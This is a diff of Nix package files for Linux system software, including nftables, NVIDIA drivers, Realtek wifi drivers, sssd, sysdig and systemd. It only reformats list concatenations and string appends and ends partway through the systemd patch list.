+++ b/pkgs/os-specific/linux/nftables/default.nix
@@ -54,24 +54,22 @@ stdenv.mkDerivation rec {
     libxslt
   ];
 
-  buildInputs =
-    [
-      libmnl
-      libnftnl
-      libpcap
-      gmp
-      jansson
-    ]
-    ++ lib.optional withCli libedit
-    ++ lib.optional withXtables iptables;
+  buildInputs = [
+    libmnl
+    libnftnl
+    libpcap
+    gmp
+    jansson
+  ]
+  ++ lib.optional withCli libedit
+  ++ lib.optional withXtables iptables;
 
-  configureFlags =
-    [
-      "--with-json"
-      (lib.withFeatureAs withCli "cli" "editline")
-    ]
-    ++ lib.optional (!withDebugSymbols) "--disable-debug"
-    ++ lib.optional withXtables "--with-xtables";
+  configureFlags = [
+    "--with-json"
+    (lib.withFeatureAs withCli "cli" "editline")
+  ]
+  ++ lib.optional (!withDebugSymbols) "--disable-debug"
+  ++ lib.optional withXtables "--with-xtables";
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/os-specific/linux/nvidia-x11/generic.nix b/pkgs/os-specific/linux/nvidia-x11/generic.nix
index ed2cb8df588a..dfd27a340676 100644
--- a/pkgs/os-specific/linux/nvidia-x11/generic.nix
+++ b/pkgs/os-specific/linux/nvidia-x11/generic.nix
@@ -195,11 +195,12 @@ let
     inherit (stdenv.hostPlatform) system;
     inherit i686bundled;
 
-    outputs =
-      [ "out" ]
-      ++ lib.optional i686bundled "lib32"
-      ++ lib.optional (!libsOnly) "bin"
-      ++ lib.optional (!libsOnly && firmware) "firmware";
+    outputs = [
+      "out"
+    ]
+    ++ lib.optional i686bundled "lib32"
+    ++ lib.optional (!libsOnly) "bin"
+    ++ lib.optional (!libsOnly && firmware) "firmware";
     outputDev = if libsOnly then null else "bin";
 
     kernel = if libsOnly then null else kernel.dev;
@@ -232,7 +233,8 @@ let
       which
       libarchive
       jq
-    ] ++ lib.optionals (!libsOnly) kernel.moduleBuildDependencies;
+    ]
+    ++ lib.optionals (!libsOnly) kernel.moduleBuildDependencies;
 
     disallowedReferences = lib.optionals (!libsOnly) [ kernel.dev ];
 
@@ -321,10 +323,11 @@ let
         if useFabricmanager then "Data Center" else "X.org"
       } driver and kernel module for NVIDIA cards";
       license = licenses.unfreeRedistributable;
-      platforms =
-        [ "x86_64-linux" ]
-        ++ lib.optionals (sha256_32bit != null) [ "i686-linux" ]
-        ++ lib.optionals (sha256_aarch64 != null) [ "aarch64-linux" ];
+      platforms = [
+        "x86_64-linux"
+      ]
+      ++ lib.optionals (sha256_32bit != null) [ "i686-linux" ]
+      ++ lib.optionals (sha256_aarch64 != null) [ "aarch64-linux" ];
       maintainers = with maintainers; [
         kiskae
         edwtjo
diff --git a/pkgs/os-specific/linux/nvidia-x11/settings.nix b/pkgs/os-specific/linux/nvidia-x11/settings.nix
index f67b33368c8b..15f3dad44275 100644
--- a/pkgs/os-specific/linux/nvidia-x11/settings.nix
+++ b/pkgs/os-specific/linux/nvidia-x11/settings.nix
@@ -111,16 +111,17 @@ stdenv.mkDerivation {
       url = "https://github.com/NVIDIA/nvidia-settings/commit/a7c1f5fce6303a643fadff7d85d59934bd0cf6b6.patch";
       hash = "sha256-ZwF3dRTYt/hO8ELg9weoz1U/XcU93qiJL2d1aq1Jlak=";
     })
-    ++ lib.optional
-      (
-        (lib.versionAtLeast nvidia_x11.settingsVersion "515.43.04")
-        && (lib.versionOlder nvidia_x11.settingsVersion "545.29")
-      )
-      (fetchpatch {
-        # fix wayland support for compositors that use wl_output version 4
-        url = "https://github.com/NVIDIA/nvidia-settings/pull/99/commits/2e0575197e2b3247deafd2a48f45afc038939a06.patch";
-        hash = "sha256-wKuO5CUTUuwYvsP46Pz+6fI0yxLNpZv8qlbL0TFkEFE=";
-      });
+    ++
+      lib.optional
+        (
+          (lib.versionAtLeast nvidia_x11.settingsVersion "515.43.04")
+          && (lib.versionOlder nvidia_x11.settingsVersion "545.29")
+        )
+        (fetchpatch {
+          # fix wayland support for compositors that use wl_output version 4
+          url = "https://github.com/NVIDIA/nvidia-settings/pull/99/commits/2e0575197e2b3247deafd2a48f45afc038939a06.patch";
+          hash = "sha256-wKuO5CUTUuwYvsP46Pz+6fI0yxLNpZv8qlbL0TFkEFE=";
+        });
 
   postPatch = lib.optionalString nvidia_x11.useProfiles ''
     sed -i 's,/usr/share/nvidia/,${nvidia_x11.bin}/share/nvidia/,g' src/gtk+-2.x/ctkappprofile.c
@@ -141,25 +142,25 @@ stdenv.mkDerivation {
     pkg-config
     m4
     addDriverRunpath
-  ] ++ lib.optionals withGtk3 [ wrapGAppsHook3 ];
+  ]
+  ++ lib.optionals withGtk3 [ wrapGAppsHook3 ];
 
-  buildInputs =
-    [
-      jansson
-      libXv
-      libXrandr
-      libXext
-      libXxf86vm
-      libvdpau
-      nvidia_x11
-      dbus
-      vulkan-headers
-    ]
-    ++ lib.optionals (withGtk2 || lib.versionOlder nvidia_x11.settingsVersion "525.53") [ gtk2 ]
-    ++ lib.optionals withGtk3 [
-      gtk3
-      librsvg
-    ];
+  buildInputs = [
+    jansson
+    libXv
+    libXrandr
+    libXext
+    libXxf86vm
+    libvdpau
+    nvidia_x11
+    dbus
+    vulkan-headers
+  ]
+  ++ lib.optionals (withGtk2 || lib.versionOlder nvidia_x11.settingsVersion "525.53") [ gtk2 ]
+  ++ lib.optionals withGtk3 [
+    gtk3
+    librsvg
+  ];
 
   installFlags = [ "PREFIX=$(out)" ];
 
diff --git a/pkgs/os-specific/linux/prl-tools/default.nix b/pkgs/os-specific/linux/prl-tools/default.nix
index b00f3401bc44..3a042cd50e4f 100644
--- a/pkgs/os-specific/linux/prl-tools/default.nix
+++ b/pkgs/os-specific/linux/prl-tools/default.nix
@@ -64,7 +64,8 @@ stdenv.mkDerivation (finalAttrs: {
     p7zip
     perl
     undmg
-  ] ++ kernel.moduleBuildDependencies;
+  ]
+  ++ kernel.moduleBuildDependencies;
 
   buildInputs = [
     dbus-glib
diff --git a/pkgs/os-specific/linux/procps-ng/default.nix b/pkgs/os-specific/linux/procps-ng/default.nix
index 59cdf14af493..a8fbc328b178 100644
--- a/pkgs/os-specific/linux/procps-ng/default.nix
+++ b/pkgs/os-specific/linux/procps-ng/default.nix
@@ -42,17 +42,16 @@ stdenv.mkDerivation rec {
   enableParallelBuilding = true;
 
   # Too red; 8bit support for fixing https://github.com/NixOS/nixpkgs/issues/275220
-  configureFlags =
-    [
-      "--disable-modern-top"
-      "--enable-watch8bit"
-    ]
-    ++ lib.optional withSystemd "--with-systemd"
-    ++ lib.optional stdenv.hostPlatform.isMusl "--disable-w"
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      "ac_cv_func_malloc_0_nonnull=yes"
-      "ac_cv_func_realloc_0_nonnull=yes"
-    ];
+  configureFlags = [
+    "--disable-modern-top"
+    "--enable-watch8bit"
+  ]
+  ++ lib.optional withSystemd "--with-systemd"
+  ++ lib.optional stdenv.hostPlatform.isMusl "--disable-w"
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    "ac_cv_func_malloc_0_nonnull=yes"
+    "ac_cv_func_realloc_0_nonnull=yes"
+  ];
 
   installPhase = lib.optionalString watchOnly ''
     install -m 0755 -D src/watch $out/bin/watch
diff --git a/pkgs/os-specific/linux/rtl8189es/default.nix b/pkgs/os-specific/linux/rtl8189es/default.nix
index 561b7ca72e14..a29058f15b6f 100644
--- a/pkgs/os-specific/linux/rtl8189es/default.nix
+++ b/pkgs/os-specific/linux/rtl8189es/default.nix
@@ -22,7 +22,8 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     bc
     nukeReferences
-  ] ++ kernel.moduleBuildDependencies;
+  ]
+  ++ kernel.moduleBuildDependencies;
 
   hardeningDisable = [
     "pic"
diff --git a/pkgs/os-specific/linux/rtl8723ds/default.nix b/pkgs/os-specific/linux/rtl8723ds/default.nix
index bc7b9e51a754..aec2c7a4ee38 100644
--- a/pkgs/os-specific/linux/rtl8723ds/default.nix
+++ b/pkgs/os-specific/linux/rtl8723ds/default.nix
@@ -21,13 +21,12 @@ stdenv.mkDerivation {
 
   nativeBuildInputs = [ bc ] ++ kernel.moduleBuildDependencies;
 
-  makeFlags =
-    [
-      "ARCH=${stdenv.hostPlatform.linuxArch}"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      "CROSS_COMPILE=${stdenv.cc.targetPrefix}"
-    ];
+  makeFlags = [
+    "ARCH=${stdenv.hostPlatform.linuxArch}"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    "CROSS_COMPILE=${stdenv.cc.targetPrefix}"
+  ];
 
   postPatch = ''
     substituteInPlace ./Makefile \
diff --git a/pkgs/os-specific/linux/rtl8812au/default.nix b/pkgs/os-specific/linux/rtl8812au/default.nix
index a429d075feb5..437fa75c4708 100644
--- a/pkgs/os-specific/linux/rtl8812au/default.nix
+++ b/pkgs/os-specific/linux/rtl8812au/default.nix
@@ -21,7 +21,8 @@ stdenv.mkDerivation {
   nativeBuildInputs = [
     bc
     nukeReferences
-  ] ++ kernel.moduleBuildDependencies;
+  ]
+  ++ kernel.moduleBuildDependencies;
   hardeningDisable = [
     "pic"
     "format"
@@ -34,15 +35,14 @@ stdenv.mkDerivation {
       --replace '$(MODDESTDIR)' "$out/lib/modules/${kernel.modDirVersion}/kernel/net/wireless/"
   '';
 
-  makeFlags =
-    [
-      "ARCH=${stdenv.hostPlatform.linuxArch}"
-      ("CONFIG_PLATFORM_I386_PC=" + (if stdenv.hostPlatform.isx86 then "y" else "n"))
-      ("CONFIG_PLATFORM_ARM_RPI=" + (if stdenv.hostPlatform.isAarch then "y" else "n"))
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      "CROSS_COMPILE=${stdenv.cc.targetPrefix}"
-    ];
+  makeFlags = [
+    "ARCH=${stdenv.hostPlatform.linuxArch}"
+    ("CONFIG_PLATFORM_I386_PC=" + (if stdenv.hostPlatform.isx86 then "y" else "n"))
+    ("CONFIG_PLATFORM_ARM_RPI=" + (if stdenv.hostPlatform.isAarch then "y" else "n"))
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    "CROSS_COMPILE=${stdenv.cc.targetPrefix}"
+  ];
 
   preInstall = ''
     mkdir -p "$out/lib/modules/${kernel.modDirVersion}/kernel/net/wireless/"
diff --git a/pkgs/os-specific/linux/rtl8821au/default.nix b/pkgs/os-specific/linux/rtl8821au/default.nix
index 99864ce11fc0..bd683450a4b1 100644
--- a/pkgs/os-specific/linux/rtl8821au/default.nix
+++ b/pkgs/os-specific/linux/rtl8821au/default.nix
@@ -21,7 +21,8 @@ stdenv.mkDerivation {
   nativeBuildInputs = [
     bc
     nukeReferences
-  ] ++ kernel.moduleBuildDependencies;
+  ]
+  ++ kernel.moduleBuildDependencies;
 
   hardeningDisable = [
     "pic"
@@ -30,18 +31,17 @@ stdenv.mkDerivation {
 
   env.NIX_CFLAGS_COMPILE = "-Wno-error=incompatible-pointer-types";
 
-  makeFlags =
-    [
-      "ARCH=${stdenv.hostPlatform.linuxArch}"
-      ("CONFIG_PLATFORM_I386_PC=" + (if stdenv.hostPlatform.isx86 then "y" else "n"))
-      (
-        "CONFIG_PLATFORM_ARM_RPI="
-        + (if (stdenv.hostPlatform.isAarch32 || stdenv.hostPlatform.isAarch64) then "y" else "n")
-      )
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      "CROSS_COMPILE=${stdenv.cc.targetPrefix}"
-    ];
+  makeFlags = [
+    "ARCH=${stdenv.hostPlatform.linuxArch}"
+    ("CONFIG_PLATFORM_I386_PC=" + (if stdenv.hostPlatform.isx86 then "y" else "n"))
+    (
+      "CONFIG_PLATFORM_ARM_RPI="
+      + (if (stdenv.hostPlatform.isAarch32 || stdenv.hostPlatform.isAarch64) then "y" else "n")
+    )
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    "CROSS_COMPILE=${stdenv.cc.targetPrefix}"
+  ];
 
   prePatch = ''
     substituteInPlace ./Makefile \
diff --git a/pkgs/os-specific/linux/rtl8852au/default.nix b/pkgs/os-specific/linux/rtl8852au/default.nix
index 2002b678b613..558e62927ec0 100644
--- a/pkgs/os-specific/linux/rtl8852au/default.nix
+++ b/pkgs/os-specific/linux/rtl8852au/default.nix
@@ -21,7 +21,8 @@ stdenv.mkDerivation (finalAttrs: {
   nativeBuildInputs = [
     bc
     nukeReferences
-  ] ++ kernel.moduleBuildDependencies;
+  ]
+  ++ kernel.moduleBuildDependencies;
   hardeningDisable = [
     "pic"
     "format"
@@ -41,15 +42,14 @@ stdenv.mkDerivation (finalAttrs: {
       --replace-fail /lib/modules "${kernel.dev}/lib/modules"
   '';
 
-  makeFlags =
-    [
-      "ARCH=${stdenv.hostPlatform.linuxArch}"
-      ("CONFIG_PLATFORM_I386_PC=" + (if stdenv.hostPlatform.isx86 then "y" else "n"))
-      ("CONFIG_PLATFORM_ARM_RPI=" + (if stdenv.hostPlatform.isAarch then "y" else "n"))
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      "CROSS_COMPILE=${stdenv.cc.targetPrefix}"
-    ];
+  makeFlags = [
+    "ARCH=${stdenv.hostPlatform.linuxArch}"
+    ("CONFIG_PLATFORM_I386_PC=" + (if stdenv.hostPlatform.isx86 then "y" else "n"))
+    ("CONFIG_PLATFORM_ARM_RPI=" + (if stdenv.hostPlatform.isAarch then "y" else "n"))
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    "CROSS_COMPILE=${stdenv.cc.targetPrefix}"
+  ];
 
   preInstall = ''
     mkdir -p "$out/lib/modules/${kernel.modDirVersion}/kernel/net/wireless/"
diff --git a/pkgs/os-specific/linux/rtl8852bu/default.nix b/pkgs/os-specific/linux/rtl8852bu/default.nix
index e07d2eb1d5b9..8b317d655509 100644
--- a/pkgs/os-specific/linux/rtl8852bu/default.nix
+++ b/pkgs/os-specific/linux/rtl8852bu/default.nix
@@ -21,7 +21,8 @@ stdenv.mkDerivation (finalAttrs: {
   nativeBuildInputs = [
     bc
     nukeReferences
-  ] ++ kernel.moduleBuildDependencies;
+  ]
+  ++ kernel.moduleBuildDependencies;
   hardeningDisable = [
     "pic"
     "format"
@@ -38,15 +39,14 @@ stdenv.mkDerivation (finalAttrs: {
       --replace-fail /lib/modules "${kernel.dev}/lib/modules"
   '';
 
-  makeFlags =
-    [
-      "ARCH=${stdenv.hostPlatform.linuxArch}"
-      ("CONFIG_PLATFORM_I386_PC=" + (if stdenv.hostPlatform.isx86 then "y" else "n"))
-      ("CONFIG_PLATFORM_ARM_RPI=" + (if stdenv.hostPlatform.isAarch then "y" else "n"))
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      "CROSS_COMPILE=${stdenv.cc.targetPrefix}"
-    ];
+  makeFlags = [
+    "ARCH=${stdenv.hostPlatform.linuxArch}"
+    ("CONFIG_PLATFORM_I386_PC=" + (if stdenv.hostPlatform.isx86 then "y" else "n"))
+    ("CONFIG_PLATFORM_ARM_RPI=" + (if stdenv.hostPlatform.isAarch then "y" else "n"))
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    "CROSS_COMPILE=${stdenv.cc.targetPrefix}"
+  ];
 
   preInstall = ''
     mkdir -p "$out/lib/modules/${kernel.modDirVersion}/kernel/net/wireless/"
diff --git a/pkgs/os-specific/linux/scx/scx_cscheds.nix b/pkgs/os-specific/linux/scx/scx_cscheds.nix
index e024239ccb50..dc9e138cd7f4 100644
--- a/pkgs/os-specific/linux/scx/scx_cscheds.nix
+++ b/pkgs/os-specific/linux/scx/scx_cscheds.nix
@@ -73,18 +73,17 @@ llvmPackages.stdenv.mkDerivation (finalAttrs: {
       --replace-fail '#define __builtin_preserve_enum_value(x,y,z) 1' '#define __builtin_preserve_enum_value(x,y) 1'
   '';
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      jq
-      pkg-config
-      zstd
-      protobuf
-      llvmPackages.libllvm
-    ]
-    ++ bpftools.buildInputs
-    ++ bpftools.nativeBuildInputs;
+  nativeBuildInputs = [
+    meson
+    ninja
+    jq
+    pkg-config
+    zstd
+    protobuf
+    llvmPackages.libllvm
+  ]
+  ++ bpftools.buildInputs
+  ++ bpftools.nativeBuildInputs;
 
   buildInputs = [
     elfutils
diff --git a/pkgs/os-specific/linux/scx/scx_full.nix b/pkgs/os-specific/linux/scx/scx_full.nix
index ea1d9ad7b23e..f47e92e8b96e 100644
--- a/pkgs/os-specific/linux/scx/scx_full.nix
+++ b/pkgs/os-specific/linux/scx/scx_full.nix
@@ -7,11 +7,9 @@
 }:
 scx.cscheds.overrideAttrs (oldAttrs: {
   pname = "scx_full";
-  postInstall =
-    (oldAttrs.postInstall or "")
-    + ''
-      cp ${scx.rustscheds}/bin/* ${placeholder "bin"}/bin/
-    '';
+  postInstall = (oldAttrs.postInstall or "") + ''
+    cp ${scx.rustscheds}/bin/* ${placeholder "bin"}/bin/
+  '';
 
   passthru.tests.basic = nixosTests.scx;
 
diff --git a/pkgs/os-specific/linux/sgx/sdk/default.nix b/pkgs/os-specific/linux/sgx/sdk/default.nix
index 5e9b99af143f..9da7360db581 100644
--- a/pkgs/os-specific/linux/sgx/sdk/default.nix
+++ b/pkgs/os-specific/linux/sgx/sdk/default.nix
@@ -142,13 +142,12 @@ stdenv.mkDerivation rec {
       popd
     '';
 
-  buildFlags =
-    [
-      "sdk_install_pkg"
-    ]
-    ++ lib.optionals debug [
-      "DEBUG=1"
-    ];
+  buildFlags = [
+    "sdk_install_pkg"
+  ]
+  ++ lib.optionals debug [
+    "DEBUG=1"
+  ];
 
   postBuild = ''
     patchShebangs linux/installer/bin/sgx_linux_x64_sdk_${version}.bin
diff --git a/pkgs/os-specific/linux/sgx/sdk/ipp-crypto.nix b/pkgs/os-specific/linux/sgx/sdk/ipp-crypto.nix
index d75654fdcf1a..78658736944b 100644
--- a/pkgs/os-specific/linux/sgx/sdk/ipp-crypto.nix
+++ b/pkgs/os-specific/linux/sgx/sdk/ipp-crypto.nix
@@ -22,7 +22,8 @@ gcc11Stdenv.mkDerivation rec {
     "-DARCH=intel64"
     # sgx-sdk now requires FIPS-compliance mode turned on
     "-DIPPCP_FIPS_MODE=on"
-  ] ++ extraCmakeFlags;
+  ]
+  ++ extraCmakeFlags;
 
   nativeBuildInputs = [
     cmake
diff --git a/pkgs/os-specific/linux/sssd/default.nix b/pkgs/os-specific/linux/sssd/default.nix
index fef42f0b48ab..ee426ce79796 100644
--- a/pkgs/os-specific/linux/sssd/default.nix
+++ b/pkgs/os-specific/linux/sssd/default.nix
@@ -80,30 +80,29 @@ stdenv.mkDerivation (finalAttrs: {
     "-I${libxml2.dev}/include/libxml2"
   ];
 
-  preConfigure =
-    ''
-      export SGML_CATALOG_FILES="${docbookFiles}"
-      export PATH=$PATH:${openldap}/libexec
+  preConfigure = ''
+    export SGML_CATALOG_FILES="${docbookFiles}"
+    export PATH=$PATH:${openldap}/libexec
 
-      configureFlagsArray=(
-        --prefix=$out
-        --sysconfdir=/etc
-        --localstatedir=/var
-        --enable-pammoddir=$out/lib/security
-        --with-os=fedora
-        --with-pid-path=/run
-        --with-python3-bindings
-        --with-syslog=journald
-        --without-selinux
-        --without-semanage
-        --with-xml-catalog-path=''${SGML_CATALOG_FILES%%:*}
-        --with-ldb-lib-dir=$out/modules/ldb
-        --with-nscd=${glibc.bin}/sbin/nscd
-      )
-    ''
-    + lib.optionalString withSudo ''
-      configureFlagsArray+=("--with-sudo")
-    '';
+    configureFlagsArray=(
+      --prefix=$out
+      --sysconfdir=/etc
+      --localstatedir=/var
+      --enable-pammoddir=$out/lib/security
+      --with-os=fedora
+      --with-pid-path=/run
+      --with-python3-bindings
+      --with-syslog=journald
+      --without-selinux
+      --without-semanage
+      --with-xml-catalog-path=''${SGML_CATALOG_FILES%%:*}
+      --with-ldb-lib-dir=$out/modules/ldb
+      --with-nscd=${glibc.bin}/sbin/nscd
+    )
+  ''
+  + lib.optionalString withSudo ''
+    configureFlagsArray+=("--with-sudo")
+  '';
 
   enableParallelBuilding = true;
   # Disable parallel install due to missing depends:
diff --git a/pkgs/os-specific/linux/sysdig/default.nix b/pkgs/os-specific/linux/sysdig/default.nix
index d1a420d22422..29ae5cf0e79c 100644
--- a/pkgs/os-specific/linux/sysdig/default.nix
+++ b/pkgs/os-specific/linux/sysdig/default.nix
@@ -76,31 +76,30 @@ stdenv.mkDerivation {
     installShellFiles
     pkg-config
   ];
-  buildInputs =
-    [
-      luajit
-      ncurses
-      openssl
-      curl
-      jq
-      tbb
-      re2
-      protobuf
-      grpc
-      yaml-cpp
-      jsoncpp
-      nlohmann_json
-      zstd
-      uthash
-    ]
-    ++ lib.optionals stdenv.isLinux [
-      bpftools
-      elfutils
-      libbpf
-      clang
-      gcc
-    ]
-    ++ lib.optionals (kernel != null) kernel.moduleBuildDependencies;
+  buildInputs = [
+    luajit
+    ncurses
+    openssl
+    curl
+    jq
+    tbb
+    re2
+    protobuf
+    grpc
+    yaml-cpp
+    jsoncpp
+    nlohmann_json
+    zstd
+    uthash
+  ]
+  ++ lib.optionals stdenv.isLinux [
+    bpftools
+    elfutils
+    libbpf
+    clang
+    gcc
+  ]
+  ++ lib.optionals (kernel != null) kernel.moduleBuildDependencies;
 
   hardeningDisable = [
     "pic"
@@ -142,24 +141,24 @@ stdenv.mkDerivation {
     "-DCREATE_TEST_TARGETS=OFF"
     "-DVALIJSON_INCLUDE=${valijson}/include"
     "-DUTHASH_INCLUDE=${uthash}/include"
-  ] ++ lib.optional (kernel == null) "-DBUILD_DRIVER=OFF";
+  ]
+  ++ lib.optional (kernel == null) "-DBUILD_DRIVER=OFF";
 
   env.NIX_CFLAGS_COMPILE =
     # fix compiler warnings been treated as errors
     "-Wno-error";
 
-  preConfigure =
-    ''
-      if ! grep -q "${libsRev}" cmake/modules/falcosecurity-libs.cmake; then
-        echo "falcosecurity-libs checksum needs to be updated!"
-        exit 1
-      fi
-      cmakeFlagsArray+=(-DCMAKE_EXE_LINKER_FLAGS="-ltbb -lcurl -lzstd -labsl_synchronization")
-    ''
-    + lib.optionalString (kernel != null) ''
-      export INSTALL_MOD_PATH="$out"
-      export KERNELDIR="${kernel.dev}/lib/modules/${kernel.modDirVersion}/build"
-    '';
+  preConfigure = ''
+    if ! grep -q "${libsRev}" cmake/modules/falcosecurity-libs.cmake; then
+      echo "falcosecurity-libs checksum needs to be updated!"
+      exit 1
+    fi
+    cmakeFlagsArray+=(-DCMAKE_EXE_LINKER_FLAGS="-ltbb -lcurl -lzstd -labsl_synchronization")
+  ''
+  + lib.optionalString (kernel != null) ''
+    export INSTALL_MOD_PATH="$out"
+    export KERNELDIR="${kernel.dev}/lib/modules/${kernel.modDirVersion}/build"
+  '';
 
   postInstall =
     lib.optionalString stdenv.isLinux ''
diff --git a/pkgs/os-specific/linux/systemd/default.nix b/pkgs/os-specific/linux/systemd/default.nix
index 4a8a6610fe9f..cb4dd79d5529 100644
--- a/pkgs/os-specific/linux/systemd/default.nix
+++ b/pkgs/os-specific/linux/systemd/default.nix
@@ -226,390 +226,385 @@ stdenv.mkDerivation (finalAttrs: {
   #   `git -c format.signoff=false format-patch v${version} --no-numbered --zero-commit --no-signature`.
   # Use `find . -name "*.patch" | sort` to get an up-to-date listing of all
   # patches
-  patches =
-    [
-      ./0001-Start-device-units-for-uninitialised-encrypted-devic.patch
-      ./0002-Don-t-try-to-unmount-nix-or-nix-store.patch
-      ./0003-Fix-NixOS-containers.patch
-      ./0004-Add-some-NixOS-specific-unit-directories.patch
-      ./0005-Get-rid-of-a-useless-message-in-user-sessions.patch
-      ./0006-hostnamed-localed-timedated-disable-methods-that-cha.patch
-      ./0007-Change-usr-share-zoneinfo-to-etc-zoneinfo.patch
-      ./0008-localectl-use-etc-X11-xkb-for-list-x11.patch
-      ./0009-add-rootprefix-to-lookup-dir-paths.patch
-      ./0010-systemd-shutdown-execute-scripts-in-etc-systemd-syst.patch
-      ./0011-systemd-sleep-execute-scripts-in-etc-systemd-system-.patch
-      ./0012-path-util.h-add-placeholder-for-DEFAULT_PATH_NORMAL.patch
-      ./0013-inherit-systemd-environment-when-calling-generators.patch
-      ./0014-core-don-t-taint-on-unmerged-usr.patch
-      ./0015-tpm2_context_init-fix-driver-name-checking.patch
-      ./0016-systemctl-edit-suggest-systemdctl-edit-runtime-on-sy.patch
-      ./0017-meson.build-do-not-create-systemdstatedir.patch
-      ./0018-Revert-bootctl-update-list-remove-all-instances-of-s.patch # https://github.com/systemd/systemd/issues/33392
-      # systemd tries to link the systemd-ssh-proxy ssh config snippet with tmpfiles
-      # if the install prefix is not /usr, but that does not work for us
-      # because we include the config snippet manually
-      ./0019-meson-Don-t-link-ssh-dropins.patch
-      ./0020-install-unit_file_exists_full-follow-symlinks.patch
+  patches = [
+    ./0001-Start-device-units-for-uninitialised-encrypted-devic.patch
+    ./0002-Don-t-try-to-unmount-nix-or-nix-store.patch
+    ./0003-Fix-NixOS-containers.patch
+    ./0004-Add-some-NixOS-specific-unit-directories.patch
+    ./0005-Get-rid-of-a-useless-message-in-user-sessions.patch
+    ./0006-hostnamed-localed-timedated-disable-methods-that-cha.patch
+    ./0007-Change-usr-share-zoneinfo-to-etc-zoneinfo.patch
+    ./0008-localectl-use-etc-X11-xkb-for-list-x11.patch
+    ./0009-add-rootprefix-to-lookup-dir-paths.patch
+    ./0010-systemd-shutdown-execute-scripts-in-etc-systemd-syst.patch
+    ./0011-systemd-sleep-execute-scripts-in-etc-systemd-system-.patch
+    ./0012-path-util.h-add-placeholder-for-DEFAULT_PATH_NORMAL.patch
+    ./0013-inherit-systemd-environment-when-calling-generators.patch
+    ./0014-core-don-t-taint-on-unmerged-usr.patch
+    ./0015-tpm2_context_init-fix-driver-name-checking.patch
+    ./0016-systemctl-edit-suggest-systemdctl-edit-runtime-on-sy.patch
+    ./0017-meson.build-do-not-create-systemdstatedir.patch
+    ./0018-Revert-bootctl-update-list-remove-all-instances-of-s.patch # https://github.com/systemd/systemd/issues/33392
+    # systemd tries to link the systemd-ssh-proxy ssh config snippet with tmpfiles
+    # if the install prefix is not /usr, but that does not work for us
+    # because we include the config snippet manually
+    ./0019-meson-Don-t-link-ssh-dropins.patch
+    ./0020-install-unit_file_exists_full-follow-symlinks.patch
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isGnu) [
+    ./0021-timesyncd-disable-NSCD-when-DNSSEC-validation-is-dis.patch
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isMusl (
+    let
+      # NOTE: the master-next branch does not have stable URLs.
+      # If we need patches that aren't in master yet, they'll have to be
+      # vendored.
+      oe-core = fetchzip {
+        url = "https://git.openembedded.org/openembedded-core/snapshot/openembedded-core-4891f47cdaf919033bf1c02cc12e4805e5db99a0.tar.gz";
+        hash = "sha256-YKL/oC+rPZ2EEVNidEV+pJihZgUv7vLb0OASplgktn4=";
+      };
+    in
+    map (patch: "${oe-core}/meta/recipes-core/systemd/systemd/${patch}") [
+      "0003-missing_type.h-add-comparison_fn_t.patch"
+      "0004-add-fallback-parse_printf_format-implementation.patch"
+      "0005-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not-.patch"
+      "0006-add-missing-FTW_-macros-for-musl.patch"
+      "0007-Use-uintmax_t-for-handling-rlim_t.patch"
+      "0008-Define-glibc-compatible-basename-for-non-glibc-syste.patch"
+      "0009-Do-not-disable-buffering-when-writing-to-oom_score_a.patch"
+      "0010-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch"
+      "0011-avoid-redefinition-of-prctl_mm_map-structure.patch"
+      "0012-do-not-disable-buffer-in-writing-files.patch"
+      "0013-Handle-__cpu_mask-usage.patch"
+      "0014-Handle-missing-gshadow.patch"
+      "0015-missing_syscall.h-Define-MIPS-ABI-defines-for-musl.patch"
+      "0016-pass-correct-parameters-to-getdents64.patch"
+      "0017-Adjust-for-musl-headers.patch"
+      "0018-test-bus-error-strerror-is-assumed-to-be-GNU-specifi.patch"
+      "0019-errno-util-Make-STRERROR-portable-for-musl.patch"
+      "0020-sd-event-Make-malloc_trim-conditional-on-glibc.patch"
+      "0021-shared-Do-not-use-malloc_info-on-musl.patch"
+      "0022-avoid-missing-LOCK_EX-declaration.patch"
+      "0023-include-signal.h-to-avoid-the-undeclared-error.patch"
+      "0024-undef-stdin-for-references-using-stdin-as-a-struct-m.patch"
+      "0025-adjust-header-inclusion-order-to-avoid-redeclaration.patch"
+      "0026-build-path.c-avoid-boot-time-segfault-for-musl.patch"
     ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isGnu) [
-      ./0021-timesyncd-disable-NSCD-when-DNSSEC-validation-is-dis.patch
+    ++ [
+      # add a missing include
+      (fetchpatch {
+        url = "https://github.com/systemd/systemd/commit/34fcd3638817060c79e1186b370e46d9b3a7409f.patch";
+        hash = "sha256-Uaewo3jPrZGJttlLcqO6cCj1w3IGZmvbur4+TBdIPxc=";
+        excludes = [ "src/udev/udevd.c" ];
+      })
     ]
-    ++ lib.optionals stdenv.hostPlatform.isMusl (
-      let
-        # NOTE: the master-next branch does not have stable URLs.
-        # If we need patches that aren't in master yet, they'll have to be
-        # vendored.
-        oe-core = fetchzip {
-          url = "https://git.openembedded.org/openembedded-core/snapshot/openembedded-core-4891f47cdaf919033bf1c02cc12e4805e5db99a0.tar.gz";
-          hash = "sha256-YKL/oC+rPZ2EEVNidEV+pJihZgUv7vLb0OASplgktn4=";
